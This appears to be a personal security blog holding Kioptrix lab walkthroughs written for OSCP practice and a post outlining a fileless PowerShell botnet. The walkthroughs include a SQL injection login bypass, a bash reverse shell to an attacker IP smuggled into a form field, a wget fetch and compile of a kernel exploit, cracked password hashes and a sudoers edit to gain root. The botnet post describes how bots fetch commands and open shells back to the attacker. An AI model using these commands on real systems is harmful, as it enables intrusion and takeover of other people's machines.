KIOPTRIX SERIES PENTEST : WalKthrough level [III]

 

KIOPTRIX LAB LEVEL [III]

 You can find all the penetration testing process of this machine, on the following video: 

Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:

We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:

The other tool is  netdiscover, with the same concept but using an interface like parameter:

NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.

map -sC -sV -n -v 192.168.1.53 -oN target_nmap

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 20:57 CEST

NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Initiating Ping Scan at 20:57

Scanning 192.168.1.53 [2 ports]

Completed Ping Scan at 20:57, 0.01s elapsed (1 total hosts)

Initiating Connect Scan at 20:57

Scanning 192.168.1.53 [1000 ports]

Discovered open port 22/tcp on 192.168.1.53

Discovered open port 80/tcp on 192.168.1.53

Completed Connect Scan at 20:57, 0.02s elapsed (1000 total ports)

Initiating Service scan at 20:57

Scanning 2 services on 192.168.1.53

Completed Service scan at 20:57, 6.03s elapsed (2 services on 1 host)

NSE: Script scanning 192.168.1.53.

Initiating NSE at 20:57

Completed NSE at 20:57, 0.24s elapsed

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Nmap scan report for 192.168.1.53

Host is up (0.0014s latency).

Not shown: 998 closed ports

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

| ssh-hostkey: 

|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)

|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)

80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

| http-cookie-flags: 

|   /: 

|     PHPSESSID: 

|_      httponly flag not set

|_http-favicon: Unknown favicon MD5: 99EFC00391F142252888403BB1C196D2

| http-methods: 

|_  Supported Methods: GET HEAD POST OPTIONS

|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch

|_http-title: Ligoat Security - Got Goat? Security ...

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Initiating NSE at 20:57

Completed NSE at 20:57, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

The conclusion of nmap scan is that we found the following open ports with the services:

EXPLOTATION:

On the exploitation phase we are going to check all services and versions that there are open on the victim machine.

22: shh

The service is alive and worked as expected, but we haven't the user and credential for access.

80: http

The other service is a web page on port 80 using http protocol it seems that we should exploit some vulnerabilities on this service in order to access to the target machine.

Webpage crawling:

 locate wordlist | grep directory | grep medium

/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
kali@kali:~/streaming/nmap$ wfuzz --hc 404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt http://192.168.1.53/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************
Target: http://192.168.1.53/FUZZ
Total requests: 220560
===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                          
===================================================================
000000001:   200        38 L     190 W    1819 Ch     "# directory-list-2.3-medium.txt"                                                                                
000000002:   200        38 L     190 W    1819 Ch     "#"                                                                                                              
000000003:   200        38 L     190 W    1819 Ch     "# Copyright 2007 James Fisher"                                                                                  
000000004:   200        38 L     190 W    1819 Ch     "#"                                                                                                              
000000005:   200        38 L     190 W    1819 Ch     "# This work is licensed under the Creative Commons"                                                             
000000006:   200        38 L     190 W    1819 Ch     "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                  
000000007:   200        38 L     190 W    1819 Ch     "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                
000000008:   200        38 L     190 W    1819 Ch     "# or send a letter to Creative Commons, 171 Second Street,"                                                     
000000009:   200        38 L     190 W    1819 Ch     "# Suite 300, San Francisco, California, 94105, USA."                                                            
000000010:   200        38 L     190 W    1819 Ch     "#"                                                                                                              
000000012:   200        38 L     190 W    1819 Ch     "# on atleast 2 different hosts"                                                                                 
000000011:   200        38 L     190 W    1819 Ch     "# Priority ordered case sensative list, where entries were found"                                               
000000013:   200        38 L     190 W    1819 Ch     "#"                                                                                                              
000000014:   200        38 L     190 W    1819 Ch     ""                                                                                                               
000000145:   301        9 L      31 W     353 Ch      "modules"                                                                                                        
000000168:   301        9 L      31 W     353 Ch      "gallery"                                                                                                        
000000182:   403        10 L     33 W     323 Ch      "data"                                                                                                           
000000685:   301        9 L      31 W     350 Ch      "core"                                                                                                           
000000915:   301        9 L      31 W     351 Ch      "style"                                                                                                          
000001083:   301        9 L      31 W     351 Ch      "cache"                                                                                                          
000010825:   301        9 L      31 W     356 Ch      "phpmyadmin"                     

 

phpmyadmin access:

With default credentials: admin/void

but we only can access to information schema and not contains util information for our pentest purposes:

On the next step we are going to review the web content:

On the blog there are a couple of post and in one of them we found a new hostname the we should include in our /etc/hosts local attacker machine, for DNS resolution. 

cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali.home.kali.com      kali
192.168.1.53    kioptrix3.com
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Right now, we can access to the new web application using dns name resolution tat is hosted on the same target machine.

Searching over the web application with nikto for vulnerabilities :

nikto -host http://kioptrix3.com/gallery/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.53
+ Target Hostname:    kioptrix3.com
+ Target Port:        80
+ Start Time:         2021-08-10 21:16:45 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /gallery/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /gallery/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /gallery/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /gallery/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ Server may leak inodes via ETags, header found with file /gallery/db.sql, inode: 630988, size: 3573, mtime: Sat Oct 10 21:43:52 2009
+ OSVDB-3092: /gallery/db.sql: Database SQL?

It seems that the webpage is develop in PHP + HTML +CSS+ Js, and contains vulnerabilites, we know to that work with a mysql  persistence database.

And we can download the content of sql creation schema structure that we should hack.

But an other idea is review the CMS that host the webpage content in order to validate the vulnerabilities.

Powered by -- LotusCMS:

Exploiting LotusCMS without metasploit modules, using the OSCP style.

1. Review the knowledges exploits for this CMS on searchsploit tool .

The second, is an txt, file that explain the multiples vulnerabilities, and not contains the remote code execution vulnerability that we are looking for, but we found the following PoC:

We use that PoC , from our attacker machine in order to exploit the vulnerability. Of course we can't gain access but there are util information, about the CMS version and configuration structurere.

2. using this public exploit, on sh (bash version):

https://github.com/Hood3dRob1n/LotusCMS-Exploit

https://raw.githubusercontent.com/Hood3dRob1n/LotusCMS-Exploit/master/lotusRCE.sh

(thanks to Hood3dRob1n)

We onbtain an automated RCE, exploit that spwan a reverse shell from the target machine to the attacker machine:

3. Review the webpage for recover information of users and credentials:

4. Access to database application schema with recover user/credentials using the previous phpmyadmin  service:

Galley database contains the information of hosted and hidden webpage: 

http://kioptrix3.com/gallery/

Dev_account tables contains information of develop users!!.

dreg	0d3eccfb887aabd50f243b3f155c0f85

loneferret

5badcaf789d3d1d09794d8f021f40f0e

Crack passwords:

Crack the hash of stored user credentials using and offline dictionary attack, with hashcat and rockyou:

Access using ssh service:

Priviledge scalation:

On the privilege escalation process, we are going to review the binaries that the user loneferret could execute like root on the operative system:

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

And ht is an annoying web editor, that you can use over the linux terminal:

sudo /usr/local/bin/ht
Error opening terminal: xterm-256color.
export TERM=xterm         
loneferret@Kioptrix3:~$ echo $TERM
xterm
loneferret@Kioptrix3:~$ sudo /usr/local/bin/ht

Open the file /etc/sudoers in order to modify it with a root privileges.

Save the file and magic:

loneferret@Kioptrix3:~$ sudo -l
[sudo] password for loneferret: 
User loneferret may run the following commands on this host:
    (ALL) ALL
loneferret@Kioptrix3:~$ 

And this is all for this lab level, I hope that you visit the next walktrough level[|V], on my next post in the same blog, [https://roadtooscp-f0ns1.blogspot.com/] and we'll keep in touch.

with kind regards, f0ns1

KIOPTRIX SERIES PENTEST : WalKthrough level [I|]

 

KIOPTRIX LAB LEVEL [II]

The roadmap for exploiting this machine using my way and the knowledge that you should understand are the follows:

1. Know how to exploit Sql Injection in order to, bypass the application login on the index.php

2. Know how to modify the web content of vulnerable application on the client browser side.

3. Know how to exploit Remote Command Eexcution, via form .

4. Know how to obtain a reverse shell with apache user.

5. Know how to make Priviledge escalation exploiting a knowledge kernel vulnerability on the operative system.

 You can find all the penetration testing process of this machine, on the following video: 

Complete walktrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVER:

We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:

The other tool is  netdiscover, with the same concept but using an interface like parameter:

NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.

# Nmap 7.91 scan initiated Sun Aug  8 11:43:48 2021 as: nmap -sC -sV -T4 -n -oN target_name 192.168.1.102

Nmap scan report for 192.168.1.102

Host is up (0.00082s latency).

Not shown: 994 closed ports

PORT     STATE SERVICE    VERSION

22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)

| ssh-hostkey: 

|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)

|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)

|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)

|_sshv1: Server supports SSHv1

80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))

|_http-server-header: Apache/2.0.52 (CentOS)

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

111/tcp  open  rpcbind    2 (RPC #100000)

| rpcinfo: 

|   program version    port/proto  service

|   100000  2            111/tcp   rpcbind

|   100000  2            111/udp   rpcbind

|   100024  1            787/udp   status

|_  100024  1            790/tcp   status

443/tcp  open  ssl/https?

| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--

| Not valid before: 2009-10-08T00:10:47

|_Not valid after:  2010-10-08T00:10:47

|_ssl-date: 2021-08-07T08:53:41+00:00; -1d00h50m15s from scanner time.

| sslv2: 

|   SSLv2 supported

|   ciphers: 

|     SSL2_DES_64_CBC_WITH_MD5

|     SSL2_RC4_64_WITH_MD5

|     SSL2_RC2_128_CBC_WITH_MD5

|     SSL2_DES_192_EDE3_CBC_WITH_MD5

|     SSL2_RC4_128_WITH_MD5

|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

|_    SSL2_RC4_128_EXPORT40_WITH_MD5

631/tcp  open  ipp        CUPS 1.1

| http-methods: 

|_  Potentially risky methods: PUT

|_http-server-header: CUPS/1.1

|_http-title: 403 Forbidden

3306/tcp open  mysql      MySQL (unauthorized)

Host script results:

|_clock-skew: -1d00h50m15s

The conclusion of nmap scan is that we found the following open ports with the services:

 

 

EXPLOTATION:

On the exploitation phase we are going to check all services and versions that there are open on the victim machine.

22: ssh

ssh root@192.168.1.102

Unable to negotiate with 192.168.1.102 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

It's seems that the target machine has an error with the cryptography configuration for make an encrypted connection.

80: http and 443:https

Exploiting tho login panel via SQl Injection, using burpsuit community edition such a proxy for intercept the request between the user browser and apache server.

Intercepted request:

Intruder module with user parameter like a variable for injection process:

**Using a Sql Injection wordlist for attack process

Order the server responses by length on ascendent mode:

And finally we found one of the vulnerable sentences admin' or '2'='2' on this login:

Using this sentece we gaing access to application bypassing the login, but on the next web we found a codification mistake on the html code and for this reason the web application don't display correctly the form content:

How to resolve the problem :

    1. Obtain the source code of the web application from the user browser

    2. Solve the mistakes and change the form redirection with am absolute path.

    3. Publish the web content on the web server attaker machine i.e apache2 service.

Original source code:

Modified source code:

Publish the code  on the attaker web server:

kali@kali:/var/www/html$ sudo /etc/init.d/apache2 start

Starting apache2 (via systemctl): apache2.service.

Nice, rigth now with our custom web page we can try to execute request to the following target from the attacker machine on the victim machine: 

In that case the source code of the application <php code > is vulnerable too and we found a remote code execution on the target server:

The server response:

gaining access to the target machine via reverse shell:

On the form field:

192.168.1.1; bash -i >& /dev/tcp/192.168.1.42/8989 0>&1

On the attacker machine:

Explaining process:

PRIVILEDGE ESCALATION:

Kernel version with a known public vulnerability that contains an exploit:

 https://www.exploit-db.com/raw/9542

Get exploit from attacker machine:

bash-3.00$ wget http://192.168.1.42:8989/9542

--06:01:24--  http://192.168.1.42:8989/9542
           => `9542'
Connecting to 192.168.1.42:8989... connected.
HTTP request sent,
awaiting response... 200 OK
Length: 2,643 (2.6K) [application/octet-stream]
    0K ..                                                    100%  840.19 MB/s
06:01:24 (840.19 MB/s) - `9542' saved [2643/2643]

 

Compile exploit on target machine:

bash-3.00$ mv 9542 9542.c

bash-3.00$ gcc -o kernel_exploit 9542.c

9542.c:109:28: warning: no newline at end of file

bash-3.00$ ls -ltrh

total 112K

-rwxr-xr-x  1 apache apache 6.8K Aug  7 06:02 kernel_exploit

-rw-r--r--  1 apache apache 2.6K Aug  8  2021 9542.c

And finally we execute it:

And this is all for this lab level, I hope that you visit the next walktrough level[|||], on my next post in the same blog, [https://roadtooscp-f0ns1.blogspot.com/] and we'll keep in touch.

with kind regards, f0ns1

KIOPTRIX SERIES PENTEST : WalKthrough level [I]

Hi everyone!, jajajaj So far so good,

Today we are going to execute a pentest over kioptrix labs, in that case we found 4 machines with Unix operative system. 

The dificult of explotation increase for each machine but we can define it like easy explotation level. 

All target machines are mounted over virtual environment on my local machine and the process is executed for learning purposed on my OSCP certification way.

KIOPTRIX LAB LEVEL [I]

In this machine we exploit a remote vulnerability of samba service SMB V2 2.8 version with a directly intrusion and privilege escalation, as you can see on the following video:

RECOGNITION PHASE:

NETWORK DISCOVER:

We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:

The other tool is  netdiscover, with the same concept but using an interface like parameter:

NMAP:

On this step from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.

kali@kali:~$ nmap -sC -sV -T4 -n -v 192.168.1.104 -oN target_machine

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 08:55 CEST

NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 08:55

Completed NSE at 08:55, 0.00s elapsed

Initiating NSE at 08:55

Completed NSE at 08:55, 0.00s elapsed

Initiating NSE at 08:55

Completed NSE at 08:55, 0.00s elapsed

Initiating Ping Scan at 08:55

Scanning 192.168.1.104 [2 ports]

Completed Ping Scan at 08:55, 0.00s elapsed (1 total hosts)

Initiating Connect Scan at 08:55

Scanning 192.168.1.104 [1000 ports]

Discovered open port 139/tcp on 192.168.1.104

Discovered open port 443/tcp on 192.168.1.104

Discovered open port 22/tcp on 192.168.1.104

Discovered open port 111/tcp on 192.168.1.104

Discovered open port 80/tcp on 192.168.1.104

Discovered open port 1024/tcp on 192.168.1.104

Completed Connect Scan at 08:55, 1.11s elapsed (1000 total ports)

Initiating Service scan at 08:55

Scanning 6 services on 192.168.1.104

Completed Service scan at 08:55, 11.04s elapsed (6 services on 1 host)

NSE: Script scanning 192.168.1.104.

Initiating NSE at 08:55

Completed NSE at 08:56, 50.53s elapsed

Initiating NSE at 08:56

Completed NSE at 08:56, 0.03s elapsed

Initiating NSE at 08:56

Completed NSE at 08:56, 0.00s elapsed

Nmap scan report for 192.168.1.104

Host is up (0.67s latency).

Not shown: 994 closed ports

PORT     STATE SERVICE     VERSION

22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)

| ssh-hostkey: 

|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)

|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)

|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)

|_sshv1: Server supports SSHv1

80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

| http-methods: 

|   Supported Methods: GET HEAD OPTIONS TRACE

|_  Potentially risky methods: TRACE

|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

|_http-title: Test Page for the Apache Web Server on Red Hat Linux

111/tcp  open  rpcbind     2 (RPC #100000)

| rpcinfo: 

|   program version    port/proto  service

|   100000  2            111/tcp   rpcbind

|   100000  2            111/udp   rpcbind

|   100024  1           1024/tcp   status

|_  100024  1           1024/udp   status

139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)

443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

| http-methods: 

|_  Supported Methods: GET HEAD POST

|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

|_http-title: 400 Bad Request

| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--

| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--

| Public Key type: rsa

| Public Key bits: 1024

| Signature Algorithm: md5WithRSAEncryption

| Not valid before: 2009-09-26T09:32:06

| Not valid after:  2010-09-26T09:32:06

| MD5:   78ce 5293 4723 e7fe c28d 74ab 42d7 02f1

|_SHA-1: 9c42 91c3 bed2 a95b 983d 10ac f766 ecb9 8766 1d33

|_ssl-date: 2021-08-08T06:58:12+00:00; +1m49s from scanner time.

| sslv2: 

|   SSLv2 supported

|   ciphers: 

|     SSL2_DES_64_CBC_WITH_MD5

|     SSL2_DES_192_EDE3_CBC_WITH_MD5

|     SSL2_RC4_64_WITH_MD5

|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

|     SSL2_RC2_128_CBC_WITH_MD5

|     SSL2_RC4_128_WITH_MD5

|_    SSL2_RC4_128_EXPORT40_WITH_MD5

1024/tcp open  status      1 (RPC #100024)

Host script results:

|_clock-skew: 1m48s

| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| Names:

|   KIOPTRIX<00>         Flags: <unique><active>

|   KIOPTRIX<03>         Flags: <unique><active>

|   KIOPTRIX<20>         Flags: <unique><active>

|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>

|   MYGROUP<00>          Flags: <group><active>

|   MYGROUP<1d>          Flags: <unique><active>

|_  MYGROUP<1e>          Flags: <group><active>

|_smb2-time: Protocol negotiation failed (SMB2)

NSE: Script Post-scanning.

Initiating NSE at 08:56

Completed NSE at 08:56, 0.00s elapsed

Initiating NSE at 08:56

Completed NSE at 08:56, 0.00s elapsed

Initiating NSE at 08:56

Completed NSE at 08:56, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds

The conclusion of nmap scan is that we found the following open ports with the services:

 

exmaple nmap --script smb-vuln* [target-IP]

 

EXPLOTATION:

On the exploitation phase we are going to check all services and versions that there are open on the victim machine.

22: ssh

kali@kali:~$ ssh root@192.168.1.104

Unable to negotiate with 192.168.1.104 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

It's seems that the target machine has an error with the cryptography configuration for make an encrypted connection.

80: http and 443:https

It seems that there are no web implemented over http server apache with version 1.3.20, over protocols http and https. 

111/1024: rpc service

On this chance we neither connect with the rpc service.

139: SMB 

And finally we detect the vulnerable service, but we found an error when make an SSL negotiation with the target server .

In that exploitation phase without use metasploit, we are looking for the specific exploit for this vulnerable service:

For example the previous selected that match with the service version and operating system on the target machine.

Download:

Modify name and compile:

Exploit execution:

Spawn a reverse shell form victim machine to remote attacker machine:

And this is all for this lab level, I hope that you visit the next walktrough level[||], on my next post in the same blog, [https://roadtooscp-f0ns1.blogspot.com/] and we'll keep in touch.

with kind regards, f0ns1

Powershell Pentesting: Make your own Botnet [I]

 Hi everyone welcome to my first summer post,  I hope that so far so good ;).

On this entry of my personal blog i'm going to explain how to make yor own personal botnet using powershell over windows Operative system machines.

The architecture design of the Probe of context could be samething like that:

As you can see on the  previous image the architecture design contains a client side and server side.

On the server side, we can find two diferent process that execute like a service on the attacker machine:

1. Bot-server: this process is the orchestrator of the instructions arround the botnet

    1.1 This server contains the  bot files with the orders that the attaker is going to send over the tcp network and could work on two differents modes:

        1.1.1Single order: In that case the server send an unique oreder to a specific bot-client

        1.1.2 Boradcast order. In that case the server send one order over all the clients of the botnet at the same time.

2. Response_server: this process is use for recieve the responses of the clients side, with file content or execution logs.

On the client side only one process is worked over server memory withou write files on the operative system,using the fileless concept all the process is execute on the server side memory.

TECHNOLOGIES::

1. Server side:

    1.1 Bot-server: Apache web server and text plain files

    1.2 Response-server: Python3 http server

2. Client-side:

    2.1 Powershell  script 

HOW ITS WORK:

The execution sequence orders of our (PoC) botnet: 

1.  The bot-client connect over tcp using http request with the bot-server and ask for the next instruction to execute.

2. The bot-server provide the next instruction to execute to the bot-client.

3. The bot-client execute the order and store the response on local memory

4. The bot-client send the response with attachments to the response server

ARCHITECTURE REVIEW OF THE SERVER SIDE 

__Bot-server _structure

Server command example:

The previous instruction force the client(10.0.2.3) to download a powershell ps1 function (Invoke-powershellTCP.ps1), load the function on dynamic RAM memory and execute it in order to spawn an interactive shell to attaker (10.0.2.4) machine:

The server Response source code on python3:

Execution:

Stored logs files:

ARCHITECTURE REVIEW OF THE CLIENT SIDE

Client side powershell source code initial version botnet[I]:

POC EXECUTION:

1.0 Execute a single command from server side to client side

2.0 Spawn a cmd from victim host to attacker machine

3.0 Spaun a reverse powershell from client side to server side

And this is all, for this session.

I hope that this entry would be interested for you, best regards 

f0ns11